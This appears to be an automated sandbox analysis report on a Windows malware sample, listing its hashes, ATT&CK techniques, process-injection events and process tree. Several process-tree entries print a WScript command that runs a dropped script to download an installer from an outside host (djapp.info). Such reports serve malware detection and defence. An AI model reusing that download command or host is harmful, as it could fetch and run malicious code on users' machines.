f8f223ecc842e99e7b1a30ac5f6688db165543ed45e42a17c35439ff25bb8888

General

Target

7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe
Size

184KB
MD5

7fa72441493abf24c04b12c5ac7dbd56
SHA1

a70d6874f2730ea2fd4efb20a402d5bcf6efcd06
SHA256

f8f223ecc842e99e7b1a30ac5f6688db165543ed45e42a17c35439ff25bb8888
SHA512

03a8f3b3da0512f06f030088d76327cad7aeb050dca105d2e60160a0a8db6c21a0652b2725c30c180b5bf4a035c21f13daee9ab246c88b154d2b1386d79684b6
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3qN:/7BSH8zUB+nGESaaRvoB7FJNndn/N

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
6	3720	WScript.exe
39	4144	WScript.exe
40	4144	WScript.exe
42	4628	WScript.exe
54	4456	WScript.exe
55	4456	WScript.exe
57	940	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4368 wrote to memory of 3720	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	83
PID 4368 wrote to memory of 3720	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	83
PID 4368 wrote to memory of 3720	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	83
PID 4368 wrote to memory of 4144	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	97
PID 4368 wrote to memory of 4144	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	97
PID 4368 wrote to memory of 4144	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	97
PID 4368 wrote to memory of 4628	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	98
PID 4368 wrote to memory of 4628	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	98
PID 4368 wrote to memory of 4628	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	98
PID 4368 wrote to memory of 4456	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	101
PID 4368 wrote to memory of 4456	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	101
PID 4368 wrote to memory of 4456	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	101
PID 4368 wrote to memory of 940	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	102
PID 4368 wrote to memory of 940	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	102
PID 4368 wrote to memory of 940	4368	7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7fa72441493abf24c04b12c5ac7dbd56_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf73E8.js" http://www.djapp.info/?domain=hAjbOBFgSC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf73E8.exe
  2⤵
  - Blocklisted process makes network request
  PID:3720
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf73E8.js" http://www.djapp.info/?domain=hAjbOBFgSC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf73E8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4144
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf73E8.js" http://www.djapp.info/?domain=hAjbOBFgSC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf73E8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4628
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf73E8.js" http://www.djapp.info/?domain=hAjbOBFgSC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf73E8.exe
  2⤵
  - Blocklisted process makes network request
  PID:4456
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf73E8.js" http://www.djapp.info/?domain=hAjbOBFgSC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf73E8.exe
  2⤵
  - Blocklisted process makes network request
  PID:940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf73E8.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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